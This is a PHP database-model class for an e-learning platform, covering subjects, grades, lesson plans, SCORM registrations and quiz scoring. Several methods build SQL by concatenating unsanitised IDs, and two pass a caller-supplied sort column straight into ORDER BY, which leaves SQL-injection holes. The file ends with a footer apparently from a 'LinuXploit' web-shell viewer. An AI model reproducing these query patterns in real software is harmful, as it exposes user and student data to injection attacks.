        //echo "<pre>"; print_r($data); die;	
        return $data;
    }

    public function getAllSubjectList($user_oid = '', $grade_id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->where(array('GRADE_ID' => $grade_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        return $data;
    }

    function getAllActiveContentOfLp($lp_id) {

        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array('CONT_ID'));
        $select->where(array('LESSONPLAN_ID' => $lp_id, 'STATUS' => 'A', 'IS_PUBLISH' => 'Y'));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $arr = array();
        $content_id = "";
        if (count($data)) {
            foreach ($data as $val) {
                $arr[] = $val['CONT_ID'];
            }
        }
        return $arr;
    }

    function validContId($uId, $contId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array('CONT_ID'));
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.LESSONPLAN_ID = t_b2c_cm_cnf_content.LESSONPLAN_ID', array());
        $select->where(array('t_b2c_cm_cnf_content.CONT_ID' => $contId));
        //$select->where(array('t_b2c_cm_cnf_content.CREATED_BY' => $uId));//Comment After Scrom Issue Fix
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    // Get only grades of user 
    public function getAllGradelist($user_oid, $org_id) {
        $this->table = $this->initTableObject('t_b2c_usr_enrollment');
        $select = $this->table->getSql()->select();
        $select->columns(array('USER_ENROLL_ID', 'ENROLLMENT_NUM', 'SUBJECT_ID', 'ROLL_NUM'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_usr_enrollment.SUBJECT_ID', array());
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID'));
        $select->join('t_usr_user', 't_usr_user.USER_OID = t_b2c_usr_enrollment.USER_OID', array());
        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $user_oid));
        //$select->where(array('t_usr_user.ORG_ID' => $org_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $arr = array();
        if (count($data)) {
            foreach ($data as $val) {
                $arr[] = $val['GRADE_ID'];
            }
        }

        return array_unique($arr);
    }

    // Get LESSONPLAN CREATED_BY list
    public function getAllLpUser($org_id) {
        $this->table = $this->initTableObject('t_usr_user');
        $select = $this->table->getSql()->select();
        $select->columns(array('USER_OID', 'FIRST_NAME', 'LAST_NAME'));
        //$select->join('t_b2c_usr_assign', 't_b2c_usr_assign.USER_OID = t_usr_user.USER_OID', array());
        $arr = array(2, 5);
        $select->where(array('t_usr_user.UT_ID' => $arr));
        $select->where(array('t_usr_user.USER_STATUS' => 'A'));
        $select->where(array('t_usr_user.ORG_ID' => $org_id));
        //$select->group('t_b2c_asnmnt_master.CREATED_BY');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    function getLastAddedLp() {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID', 'LP_NAME'));
        $select->order('LESSONPLAN_ID DESC');
        $select->limit(1);
        $select->offset(0);
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['LESSONPLAN_ID'])) {
            return $data[0]['LESSONPLAN_ID'];
        }
        return false;
    }

    function getQuizAttempts($attemptId) {
        $this->table = $this->initTableObject('t_b2c_usr_quizactivity');
        $select = $this->table->getSql()->select();
        $select->where(array('AttemptId' => $attemptId));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    function getCourseId($contId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array('SCORM_COURSE_ID'));
        $select->where(array('CONT_ID' => $contId));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        if (!empty($data[0]['SCORM_COURSE_ID'])) {
            return $data[0]['SCORM_COURSE_ID'];
        }
        return false;
    }

    function checkScormUserRegistration($courseId, $userId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_scorm_reg');
        $select = $this->table->getSql()->select();
        $select->columns(array('REG_ID'));
        $select->where(array('SCORM_COURSE_ID' => $courseId));
        $select->where(array('USER_OID' => $userId));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        if (!empty($data[0]['REG_ID'])) {
            return $data[0]['REG_ID'];
        }
        return null;
    }

    function saveUserScormRegistration($regArr) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_scorm_reg');
        $this->table->insert($regArr);
        return $this->table->lastInsertValue;
        ;
    }

    // delete all data of assignment by its content id

    public function getAssignmentSubmittedFile($cont_id) {

        $masterAssign = $this->initTableObject('t_b2c_asnmnt_master');
        $select = $masterAssign->getSql()->select()->columns(array('ASSIGNMENT_ID', 'CONT_ID'));
        $select->join('t_b2c_asnmnt_go', 't_b2c_asnmnt_go.ASSIGNMENT_ID = t_b2c_asnmnt_master.ASSIGNMENT_ID', array('ASSIGNMENT_GO_ID'), 'left');
        $select->join('t_b2c_asnmnt_submit', 't_b2c_asnmnt_submit.ASSIGNMENT_GO_ID = t_b2c_asnmnt_go.ASSIGNMENT_GO_ID', array('ASSIGNMENT_ATTEMPT_ID'), 'left');
        $select->join('t_b2c_asnmnt_submit_files', 't_b2c_asnmnt_submit_files.ASSIGNMENT_ATTEMPT_ID = t_b2c_asnmnt_submit.ASSIGNMENT_ATTEMPT_ID', array('FILE_NAME', 'ASSIGNMENT_ATTEMPT_FILE_ID'), 'left');
        $select->where(array('t_b2c_asnmnt_master.CONT_ID' => $cont_id));
        $select->order('t_b2c_asnmnt_submit_files.ASSIGNMENT_ATTEMPT_ID ');
        $resultSet = $masterAssign->selectWith($select);
        return $resultSet->toArray();
    }

    //check enrich content in content table
    function getcontentUnreadData() {
        $interval = '7';
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->where(array('STATUS' => 'A'));
        $select->where(new \Zend\Db\Sql\Predicate\Expression('CREATED_ON > SUBDATE(NOW(), INTERVAL ' . $interval . ' DAY)'));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    public function getStudentSubject($pagingData = [], $sessdata) {

        if ($sessdata['UT_ID'] == 2) {
            $subjects = $this->getTeacherAssignedSubjects($sessdata['USER_OID']);
            if (!count($subjects)) {
                $subjects[] = 0;
            }
        }

        $length = intval($pagingData['LENGTH']);
        $start = intval($pagingData['START']);
        $searchKey = $pagingData['SEARCH'];

        $this->table = $this->initTableObject('t_b2c_cm_cnf_studentbook');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_cm_cnf_studentbook.SUBJECT_ID', array('SUBJECT_NAME'), 'LEFT');

        $select->where(['ORG_ID' => $sessdata['ORG_ID']]);
        if (!empty($subjects)) {
            $subjects[] = 0;
            $select->where(['t_b2c_cm_cnf_studentbook.SUBJECT_ID' => $subjects]);
        }
        /** sorting */
        if (!empty($pagingData['COLUMN'])) {
            $select->order('' . $pagingData['COLUMN'] . ' ' . $pagingData['ORDER'] . '');
        }
        $select->limit($length);
        $select->offset($start);
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    public function getStudentSectionIds($userOid) {
        $this->table = $this->initTableObject('t_b2c_usr_section');
        $select = $this->table->getSql()->select();
        $select->columns(['SECTION_ID']);
        $select->where(['USER_OID' => $userOid]);
        /** sorting */
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    public function getStudentSubjectCount($pagingData = [], $sessdata) {
        if ($sessdata['UT_ID'] == 2) {
            $subjects = $this->getTeacherAssignedSubjects($sessdata['USER_OID']);
            if (!count($subjects)) {
                $subjects[] = 0;
            }
        }

        $length = intval($pagingData['LENGTH']);
        $start = intval($pagingData['START']);
        $searchKey = $pagingData['SEARCH'];

        $this->table = $this->initTableObject('t_b2c_cm_cnf_studentbook');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_cm_cnf_studentbook.SUBJECT_ID', array('SUBJECT_NAME'), 'LEFT');

        $select->where(['ORG_ID' => $sessdata['ORG_ID']]);
        if (!empty($subjects)) {
            $select->where(['t_b2c_cm_mgr_subject.SUBJECT_ID' => $subjects]);
        }
        /** sorting */
        if (!empty($pagingData['COLUMN'])) {
            $select->order('' . $pagingData['COLUMN'] . ' ' . $pagingData['ORDER'] . '');
        }
        $select->limit($length);
        $select->offset($start);
        $resultSet = $this->table->selectWith($select);
        return $resultSet->count();
    }

    function deleteSchoolBook($id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_studentbook');
        return $this->table->delete(array('STDNBOOK_ID' => $id));
    }

    function getCourseTestDetails($cont_id) {
        $query = "SELECT t_b2c_master_test.*, count(t_b2c_mgr_test_question.QUZ_ID) as
            TOTAL_QUES,sum(t_b2c_mgr_test_question.QUS_MARK) as TOTAL_MARKS FROM `t_b2c_master_test` 
            INNER join t_b2c_mgr_test_question on `CONT_ID` =" . $cont_id . " 
            and t_b2c_master_test.`QUIZ_ID`=t_b2c_mgr_test_question.QUZ_ID";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute();

        return $this->returnPrepareResult($result);
    }

    function getTestDetails($testId) {
        $query = "SELECT t_b2c_master_test.*, count(t_b2c_mgr_test_question.QUZ_ID) as
            TOTAL_QUES,sum(t_b2c_mgr_test_question.QUS_MARK) as TOTAL_MARKS FROM t_b2c_master_test 
            INNER join t_b2c_mgr_test_question on t_b2c_master_test.QUIZ_ID=t_b2c_mgr_test_question.QUZ_ID where QUZ_ID =$testId";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute();

        return $this->returnPrepareResult($result);
    }

    function totalques($table, $conditions) {
        $query = "SELECT count(QUZ_ID) as TOTAL_QUES FROM " . $table . " where " . $table . ".`QUZ_ID`= " . $conditions['QUIZ_ID'];

        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute();
        return $this->returnPrepareResult($result);
    }

    public function getquizcutcore($quizid) {
        $this->table = $this->initTableObject('t_b2c_master_test');
        $select = $this->table->getSql()->select();
        $select->columns(array('CUT_SCORE'));
        $select->where(array('QUIZ_ID' => $quizid));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['CUT_SCORE'])) {
            return $data[0]['CUT_SCORE'];
        }
        return false;
    }

    /*     * ********************* 18th Oct, 2017 *********** */

    // Get subject by Grade ID + ORG_ID
    function getSubjectByGradeOrgId($grade_id, $org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array());
        $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' => $grade_id));
        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    //get Grade,Subject and Topic by ORG_ID
    function getGST($cond) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'ORG_ID'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_curriculum_outline', 't_b2c_cm_mgr_curriculum_outline.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('CAT_ID', 'CAT_NAME'));
        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $cond['ORG_ID']));

        if (!empty($cond['GRADE_ID'])) {
            $select->where(array('t_b2c_cm_mgr_grade.GRADE_ID' => $cond['GRADE_ID']));
        }
        if (!empty($cond['SUBJECT_ID'])) {
            $select->where(array('t_b2c_cm_mgr_subject.SUBJECT_ID' => $cond['SUBJECT_ID']));
        }
        if (!empty($cond['CAT_ID'])) {
            $select->where(array('t_b2c_cm_mgr_curriculum_outline.CAT_ID' => $cond['CAT_ID']));
        }
        $resultSet = $this->table->selectWith($select);
        //$sql = $this->table->getSql(); 
        //echo $sql->getSqlstringForSqlObject($select); die ; 
        return $resultSet->toarray();
    }

    //check grade/subject exist by org ID
    function getGS($cond) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'ORG_ID'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('SUBJECT_ID', 'SUBJECT_NAME'));
        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $cond['ORG_ID']));
        if (!empty($cond['SUBJECT_ID'])) {
            $select->where(array('t_b2c_cm_mgr_subject.SUBJECT_ID' => $cond['SUBJECT_ID']));
        }
        $resultSet = $this->table->selectWith($select);

        //$sql = $this->table->getSql(); 
        //echo $sql->getSqlstringForSqlObject($select); die ; 
        return $resultSet->toarray();
    }

    function getGradeByGradeAndOrgId($grade_id, $org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID'));
        $select->where(array('GRADE_ID' => $grade_id));
        $select->where(array('ORG_ID' => $org_id));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    // funciton to get Final Test id by Subject id for teacher/school
    function getb2cFinalTestIdBySubjectId($subjectId, $userIds = null) {
        $finalTestId = 0;
        $this->table = $this->initTableObject('t_b2c_master_test');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUIZ_ID', 'TITLE'));
        $select->where(array('SUBJECT_ID' => $subjectId));
        $select->where(array('QUIZ_TYPE' => 'FT'));
        $resultSet = $this->table->selectWith($select)->toarray();
        if (count($resultSet)) {
            $finalTestId = $resultSet[0];
        }

        return $finalTestId;
    }

    public function checklessonplan($subject_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID'));
        $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $subject_id));
        $resultSet = $this->table->selectWith($select);
        $count = $resultSet->count();
        return $count;
    }

    function getSubjectByGradetolist($grade_id, $teacher_id = null) {
        if (!$grade_id)
            return [];
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID', 'SUBJECT_NAME'));
        /** Used to get subject's associated quiz-id. */
        $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' => $grade_id));
        $select->order('t_b2c_cm_mgr_subject.SUBJECT_ORDER ASC');
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    //get similar subjects by grade id
    /* function getSimilarSubjectsByGradeId($gradeId,$subjectId,$start,$length) {                       
      $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
      $select = $this->table->getSql()->select();
      $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_NAME'));
      //$select->join('t_b2c_cm_cnf_standard', 't_b2c_cm_cnf_standard.STANDARD_ID = t_b2c_cm_mgr_grade.STANDARD_ID', array('STANDARD_NAME'));
      if (!empty($gradeId)) {
      $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' =>$gradeId));
      }
      if (!empty($subjectId)) {
      $select->where->notEqualTo('t_b2c_cm_mgr_subject.SUBJECT_ID', $subjectId);
      }
      if (!empty($length)) {
      $select->limit((int) $length);
      }
      if (!empty($start)) {
      $select->offset((int) $start);
      }
      $resultSet = $this->table->selectWith($select);
      $data = $resultSet->toarray();
      //  Fetch Random Subject From Table  //
      if(empty($data)){
      $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
      $select = $this->table->getSql()->select();
      $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_NAME'));
      if (!empty($subjectId)) {
      $select->where->notEqualTo('t_b2c_cm_mgr_subject.SUBJECT_ID', $subjectId);
      }
      if (!empty($length)) {
      $select->limit((int) $length);
      }
      if (!empty($start)) {
      $select->offset((int) $start);
      }
      $select->order(new \Zend\Db\Sql\Expression("RAND()"));
      $resultSet = $this->table->selectWith($select);
      $data = $resultSet->toarray();
      }
      // Fetch Random Subject From Table End Here //

      return $data;
      } */



    function getSimilarSubjectsPublicDetail($gradeId, $subjectId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_NAME'));
        if (!empty($gradeId)) {
            $select->where(array('t_b2c_cm_mgr_subject.GRADE_ID' => $gradeId));
        }
        if (!empty($subjectId)) {
            $select->where->notEqualTo('t_b2c_cm_mgr_subject.SUBJECT_ID', $subjectId);
        }
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    //get subject details by id
    function getSubjectnameById($subject_id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->where(array('SUBJECT_ID' => $subject_id));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toarray();
        return $ret[0];
    }

    // funciton to get Final Test id by Subject id for teacher/school
    function getB2cTestIdByContId($contId) {
        $finalTestId = 0;
        $this->table = $this->initTableObject('t_b2c_master_test');
        $select = $this->table->getSql()->select();
        $select->columns(array('QUIZ_ID'));
        $select->where(array('CONT_ID' => $contId));
        $select->where(array('QUIZ_TYPE' => 'GT'));
        $resultSet = $this->table->selectWith($select)->current();
        if (count($resultSet)) {
            $formativeTestId = $resultSet['QUIZ_ID'];
        }

        return $formativeTestId;
    }

    //get allSectionBy Course Id details
    function getSectionDetailById($sectionId) {
        $this->tableGateway = $this->initTableObject('t_cm_section');
        $select = $this->tableGateway->getSql()->select();
        $select->where(array('SECTION_ID' => $sectionId));
        $select->order('SECTION_ID ASC');
        $resultSet = $this->tableGateway->selectWith($select);
        $res = $resultSet->current();
        return $res;
    }

    // get grade by subject Id details 
    function getGradeSimilarSubjectDetails($subjectId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_NAME'));
        if (!empty($subjectId)) {
            $select->where(array('t_b2c_cm_mgr_subject.SUBJECT_ID' => $subjectId));
        }
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    // get next records from table 
    function getNextRecordDetails($lessonId, $subId) {
        $query = "SELECT LESSONPLAN_ID,LP_NAME FROM `t_b2c_cm_lessonplan_master`  WHERE (t_b2c_cm_lessonplan_master.SUBJECT_ID = " . $subId . " and  t_b2c_cm_lessonplan_master.LESSONPLAN_ID > " . $lessonId . " )  limit 0,1";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute();
        $lessonplanData = $this->returnPrepareResult($result);
        if (!empty($lessonplanData[0]['LESSONPLAN_ID'])) {
            $lessId = $lessonplanData[0]['LESSONPLAN_ID'];
            $query = "SELECT CONT_ID FROM `t_b2c_cm_cnf_content` WHERE `LESSONPLAN_ID`= $lessId  and IS_PUBLISH='Y' AND CONTTYPE_ID not in (9,11,14)";
            $statement = $this->adapter->createStatement($query);
            $statement->prepare();
            $result = $statement->execute();
            $contentData = $this->returnPrepareResult($result);
            $data = array('LESSONPLAN_ID' => $lessonplanData[0]['LESSONPLAN_ID'], 'LP_NAME' => $lessonplanData[0]['LP_NAME'], 'CONT_ID' => $contentData[0]['CONT_ID']);
            return $data;
        }
    }

    // get Content content records from table 
    function getNextContentDetails($cont_id) {
        $query = "SELECT CONT_ID FROM `t_b2c_cm_cnf_content` WHERE LESSONPLAN_ID = " . $cont_id;
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute();
        return $this->returnPrepareResult($result);
    }

    function getSubjIdByContentId($content_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array());
        $select->join('t_b2c_cm_cont_cat', 't_b2c_cm_cont_cat.CONT_ID = t_b2c_cm_cnf_content.CONT_ID', array());
        $select->join('t_b2c_cm_mgr_curriculum_outline', 't_b2c_cm_mgr_curriculum_outline.CAT_ID = t_b2c_cm_cont_cat.CAT_ID', array('SUBJECT_ID'));
        //$select->columns(array('SUBJECT_ID'));
        $select->where(array('t_b2c_cm_cnf_content.CONT_ID' => $content_id));


        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray(); //echo '<pre>'; print_r($select->getSqlString());die;
        return $data;
        //echo '<pre>';print_r($data);die;
    }

    //get grades of student
    public function getGradesofStudent($studentId = null) {
        $this->table = $this->initTableObject('t_b2c_usr_subscription');
        $select = $this->table->getSql()->select();
        $select->columns(array('*'));
        $select->quantifier('DISTINCT');
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_usr_subscription.GRADE_ID', array('GRADE_NAME', 'GRADE_ID', 'GRADE_IMAGE'));
        if (!empty($studentId))
            $select->where(array('USER_OID' => $studentId, 't_b2c_usr_subscription.GRADE_ID IS NOT NULL'));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return $res;
    }
    
    function getStandardGradeSubject($content_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array());
         $select->quantifier('DISTINCT');
        $select->join('t_b2c_cm_cont_cat', 't_b2c_cm_cont_cat.CONT_ID = t_b2c_cm_cnf_content.CONT_ID', array());
        $select->join('t_b2c_cm_mgr_curriculum_outline', 't_b2c_cm_mgr_curriculum_outline.CAT_ID = t_b2c_cm_cont_cat.CAT_ID', array('SUBJECT_ID'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_curriculum_outline.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('SUBJECT_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('GRADE_ID','GRADE_NAME'));
        $select->join('t_b2c_cm_cnf_standard', 't_b2c_cm_mgr_grade.STANDARD_ID = t_b2c_cm_cnf_standard.STANDARD_ID', array('STANDARD_ID','STANDARD_NAME'));
        //$select->columns(array('SUBJECT_ID'));
        $select->where(array('t_b2c_cm_cnf_content.CONT_ID' => $content_id));


        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray(); //echo '<pre>'; print_r($select->getSqlString());die;
        return $data;
        //echo '<pre>';print_r($data);die;
    }
    
    /*
     * @desc    Used of this function to get GT quiz ids using subject id
     * @param   int     $subjectId
     * @return  array    $quizIds
     */
    public function getGTQuizIdsInSubject($subjectId) {
        $quizIds = array();
        if($subjectId) {
            $query = "SELECT QUIZ_ID FROM `t_b2c_master_test` WHERE `CONT_ID` IN (SELECT CONT_ID FROM `t_b2c_cm_cnf_content` WHERE `LESSONPLAN_ID` IN (SELECT LESSONPLAN_ID FROM t_b2c_cm_lessonplan_master WHERE SUBJECT_ID = " . $subjectId . ") AND `CONTTYPE_ID` = 16 AND IS_PUBLISH = 'Y')";
            $statement = $this->adapter->createStatement($query);
            $statement->prepare();
            $result = $statement->execute(array());        
            $quizIdArr = $this->returnPrepareResult($result);            
            if(!empty($quizIdArr)) {
                $quizIds = array_values(array_column($quizIdArr, 'QUIZ_ID'));
            }
        }
        
        return $quizIds;
    }
    
    /*
     * @desc    Used of get score of all users in attempted quiz
     * @param   int     $quizId
     * @return  array    $scores
     */
    public function getRankOfUsersByQuizId($quizId) {
        $allstudentSecuredMarksPerQuiz = array();
        if($quizId) {
            //echo '<hr> For Quiz id = '. $quizId.'<br><br>';
            // first get how many users attempted this quiz
            $this->table = $this->initTableObject('t_b2c_usr_quiz_attempt');
            $select = $this->table->getSql()->select();            
            $select->columns(array('USER_OID'));
            $select->quantifier('DISTINCT');
            $userArray = $this->table->selectWith($select)->toarray();
            //echo '<pre>';print_r($userArray);die;
            $userIds = array();
            if(!empty($userArray)) {
                $userIds = array_values(array_column($userArray, 'USER_OID'));
            }
            // if any single user attempted quiz
            if(!empty($userIds)) {
                foreach($userIds as $userId) {
                    $select1 = $this->table->getSql()->select();
                    $select1->columns(array('SCORE'));
                    $select1->where(array('QUIZ_ID' => $quizId, 'USER_OID' => $userId));
                    $select1->order('CREATED_DATE DESC');
                    $select1->limit(1);
                    $scoreArray = $this->table->selectWith($select1)->current();
                    $securedMarkPerQuiz = 0;
                    if(!empty($scoreArray)) {
                        $securedMarkPerQuiz = $scoreArray['SCORE'];
                    }
                    //echo 'Marks secured by user '.$userId. ' is = '.$securedMarkPerQuiz.'<br>';
                    $allstudentSecuredMarksPerQuiz[$userId] = $securedMarkPerQuiz;
                }                
            }
            //echo '<pre>';print_r($allstudentSecuredMarksPerQuiz);die;
            return $allstudentSecuredMarksPerQuiz;
        }
        
//        return $scores;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit